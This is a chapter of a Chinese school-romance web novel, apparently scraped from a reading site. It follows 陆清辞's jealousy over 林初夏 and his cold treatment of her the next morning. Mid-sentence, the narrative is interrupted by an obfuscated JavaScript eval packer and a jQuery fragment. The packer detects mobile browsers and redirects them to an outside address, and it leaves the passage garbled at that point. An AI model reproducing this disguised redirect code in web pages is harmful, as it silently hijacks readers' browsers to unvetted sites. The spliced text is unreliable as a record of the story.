30.审视情感

作品:《竹马怎么总缠我

    林初夏被祝小青拉走之后,陆清辞停在自己的座位边上站了很久。


    他抓着试卷的一角,越来越用力,试卷被撕裂开才回过神来。


    每次都想控制好自己的情绪,至少不要那么明晃晃地展现在林初夏面前。


    怎么总是做不到……


    开心是,悲愤亦是。


    周围喧闹的同学差不多走光,陆清辞才坐回座位上,用双手捂住了脸。


    冷静过后,再放开手,秦子恒就坐在他前面,面向他,脸上挂着少有的一点犹豫模样。


    “陆哥,你是不是生气了?”


    陆清辞没有说话,低着头,眉毛有并向一起的趋势,笔尖落在试卷上,写上一个答案,划掉,再写,再划掉。


    秦子恒看着陆清辞写题,下定决心地将手臂内侧放到陆清辞的另一边桌面上。


    “陆哥,你抽我吧!如果抽我能让你好受点的话!”


    陆清辞的笔停下。


    “我……”秦子恒的声音放小,不像平日里那样跳脱,“我都看到了,你们在饭堂,你看她的眼神……


    我知道,你一定是喜欢初夏女神的……我千不该万不该给女神绑头发,下次、下次就算是小青姐把我绑到火堆上烤,我也决不妥协!”


    “……不对,没有下次!陆哥,你别生气了呗?”


    秦子恒说着看了一眼陆清辞,他说的话很有重量,像在承诺一个山盟海誓。


    陆清辞顿了顿,他掀起眼皮,看着这只小心翼翼放在他台面上却异常显眼的小臂——


    秦子恒的手臂外侧晒得黢黑,内侧是正常的小麦色,内侧和外侧形成了一条很明显的交界线。


    手臂就这么摆在这里,一副“你不打我消气我就不走”的架势。


    过了很久,陆清辞将这只手臂往旁边推开,依旧一言不发。


    秦子恒的手臂悬空僵在书桌外。


    “陆哥……”秦子恒不放弃,将手臂重新放回桌面上,“你、你要是不消气的话,我就吃饭不张嘴,睡觉不闭眼,拉屎不带纸!!”


    陆清辞的眉毛合得更近了,抬头一脸懵逼地看向秦子恒:“??”


    懵逼过后是差点没忍住笑出来的心理。


    这都是什么跟什么。


    陆清辞呼出一口气,将笔帽盖上放到一边,低头抚平试卷被他弄皱的角,一下、一下。


    “她说你绑得很疼。”


    秦子恒没反应过来:“啊?”


    陆清辞没抬头:“她说,你扯到她头发了,很疼。”


    秦子恒愣了两秒,忽然明白过来,连忙应:“是是是,我这下手没轻没重的,太粗鲁了。”


    “我,我真是不会绑头发的,女神就该找你绑才是。”


    陆清辞看向秦子恒没有收回去的手臂,伸出手,握住了秦子恒的手臂随后放开。


    宽大的手掌握住带来的轻微压力往秦子恒的小麦色皮肤里植上几道红痕,很快又隐入了肤色中。


    “这是惩罚。”


    秦子恒看着自己手臂颜色的变化,看出了这是什么意思,嘴角逐渐向下,声音跟着带上了一丝委屈:“陆哥,你真好……”


    陆清辞嘴角微不可察地扬了扬,淡淡道:“你的手,挡着我拿试卷了。”


    秦子恒笑着将手臂拿开:“好嘞!”


    陆清辞换了一张新的试卷继续写,教室的灯关得七七八八,只剩人斜上方的灯还在工作。


    他的侧脸被灯光勾出一条模糊不清的线,看起来和平时没什么两样。


    但秦子恒知道,陆清辞消气了。


    男生宿舍里。


    陆清辞躺在床上要睡觉,闭着眼,脑海里却控制不住涌现出林初夏在教室找秦子恒绑头发的场景,还有自己在看到之后莫名的情绪。


    他睁开眼,看着头顶黑漆漆的床帘,就这样看了很久。


    不知道是什么时候,有人起床上厕所才将他的思绪拉回来。


    他知道自己的情绪要找到一个正确的宣泄口,不是秦子恒的道歉。


    可是他凭什么去找林初夏?


    他和林初夏只是朋友,又或者是久别重逢的邻居,仅此。


    她找谁绑头发,和谁亲近,甚至以后和谁在一起,都是她的自由。


    他没有任何立场去吃醋。


    可。


    可是那些情绪还是如同波涛的海浪一样涌上来,不讲道理地、蛮横地向他涌来——


    在她笑着走向秦子恒的时候,在她让秦子恒帮她绑头发的时候,在她拒绝让祝小青绑只要秦子恒的时候。


    他的情绪和爱意这样明显,连秦子恒都看出来了。


    陆清辞抬起手臂,盖在眼睛上。


    夏夏,你是不是也看出来了,只是不想戳破我们的友谊呢?


    黑暗里,他听到自己的心跳,不快,一下又一下、缓慢且沉重地敲击在胸腔。


    他想起下午体育课上时,林初夏在跑道上回头,朝他喊“追上我”。


    那个时候,是兴奋的,是快乐的,是义无反顾地跑,拼了命地跑,风从耳边刮过,心脏快要跳出来。


    同样是心跳,如今只有沉闷,不甘,多余。


    陆清辞有时候会羡慕秦子恒,总是那么乐观开朗,那么勇敢地在外人面前喊“初夏女神”,大大方方表明自己仰慕女神的心意。


    而不是像他一样,只能暗中盯着,然后告诉自己:你不行的……


    陆清辞侧过身,盯着床帘没拉紧露出来的玻璃窗外走廊的光。


    光从外面借着床帘的缝隙挤成一条如针一般的细线,横着切割开胸膛。


    起夜的人窸窸窣窣地从厕所出来,回到床上,重新入睡。


    陆清辞闭上眼睛,感官放大,宿舍里有人打着呼噜,有人呼吸均匀,也有人梦中呓语。


    好像一切都与他无关紧要。


    他没动。


    那束光还亮着,划过他轻微起伏的胸膛,穿过他的心脏。


    第二天,林初夏和祝小青两个人手臂挽着手臂,有点迷糊地走进教室。


    一坐到位置上,两个人慌慌忙忙地拿出试卷来写。


    林初夏没头没脑地将英语试卷的选择题用铅笔一通乱写,一边飞速写着一边还不忘念叨:“完了完了,作业还没写完,完了完了,我们完了小青!”


    祝小青这边同样在赶英语试卷,一眼看出答案的就写正确答案,需要思考的就换铅笔乱写:“你完,我还完呢!我成绩好,别人答不出来她就爱提问我!!”


    两个人像疯了一样,写完换下一张。


    “还好我们两是组长,呆会检查作业逃过一劫嘿嘿。”祝小青探头过来看林初夏的进度不忘爽说一句,“英语课上一边听一边写!”


    “行行行,你一边听一边写,我呢。”林初夏鸟都不鸟祝小青的脑袋,即使试卷被人的头发挡住了依旧写。


    陆清辞走进教室的时候,两个人已经将三张英语试卷干完了两张。


    他的头发丝挂着几滴没有掉的水珠,双手有点水渍。


    林初夏松懈了一点,看到陆清辞走进来的时候,像往常一样抬头笑着和人打个招呼:“早啊陆清辞!”


    陆清辞的脚步顿了顿,没抬头,低低应了声:“早。”


    林初夏放下笔正要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215023|193078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去问“陆清辞这个样子不会是昨晚跑去做贼了吧”,就看到陆清辞径直地从她身边经过,无视了她失落的神情,冰冷地离去。


    林初夏的笑容僵在脸上,一时不知道做什么,即使没有人注意到她的动作,她还是尴尬了很久。


    将脸上的表情调整正常后,她低头看向了自己试卷上乱写的答案。


    陆清辞这是怎么了?


    片刻,陆清辞手里拿着要交的作业走上来,放在林初夏的桌面上:“作业。”


    “等等!”林初夏手疾眼快地拉住陆清辞,“陆清辞,你怎么了?”


    “……没怎么。”


    林初夏笑着给陆清辞找到一个理由:“你是不是也没有写英语试卷啊?没关系的,我也没写,祝小青都没写!我可以晚几节课再检查你的试卷,我不记你名字。”


    陆清辞回过身来,盯着林初夏的手,盯到对方缩回手去才开口:“没,我写完了。”


    林初夏的手心还留有一点陆清辞手腕冰冷的触感,冰冰凉凉地,随着一样冰凉的回答,顺着手心复杂的纹路一拥而上,窜遍全身。


    她笑意还挂在脸上,不太自然:“那你……怎么了?”


    陆清辞被松开的那只手缓缓收回,蜷缩起来却无力握拳。


    “昨晚作业太多,没睡好。”


    听到这个回答,林初夏松了一口气,语气恢复轻快:“这样啊,没事就好。昨晚的作业确实太多了,写不完正常的!”


    林初夏压下声音问陆清辞:“你写完没?如果有没写完的,我可以晚点收,我就跟老师说……说我忘记收了!”


    陆清辞嘴角扯出一个牵强的笑:“写完了,都写完了。”


    上午的课上得林初夏身心俱疲,一边赶作业一边听课记笔记,脑子这辈子都没有运转得这么高速过。


    写着写着还要夸一下脑子:脑子你跟着我林初夏真是大放异彩了!


    很快,林初夏再次意识到了不对劲。


    一直到下午,林初夏再也没有看到过陆清辞的影子,陆清辞要么就从后门进,要么就坐在座位上一动不动,低着头不知道哪里来那么多东西写。


    林初夏让祝小青自己去吃饭,一个人走到教室后面,拦住了要一个人离开的陆清辞。


    等人都走光了,林初夏叉着腰,堵在座位唯一的出口。


    “陆清辞,你一天都不搭理我,你不是说你只是没睡好吗?这是干什么?”


    教室后面的风扇没关,正“呼啦呼啦”缓慢地转着。


    陆清辞低着头,看不太清表情。


    “干什么不说话?陆清辞,你想干什么?”


    陆清辞的手动了动,依旧没说话。


    “……”林初夏不知道到底怎么了,她知道陆清辞有手机会和他的妈妈联络,她担心陆清辞是不是遇到些什么事了。


    可眼前的人一言不发,像一桩木头一样。


    林初夏叉着腰的手指收紧,抓住自己肚子两边的肉,皱着眉,咬了咬下嘴唇,道:“陆清辞,是不是快高考了,阿姨压力你了?还是……你想认真复习所以减少了和我说话的频率?”


    得到的回应依旧是风扇的“呼啦”声。


    走廊上还有别的班的同学相约笑着路过门口,传进来零星笑声。


    林初夏放开叉着腰的双手,喉咙一紧,情绪统统卡在胸口,涨得厉害。


    她看着陆清辞低头投影在桌面白纸黑字的草稿纸上的影子,鼻头酸酸的。


    “陆清辞。”


    林初夏的声音不像前面的几句一样大声,变得有点没有底气。


    “你是……要和我绝交吗?”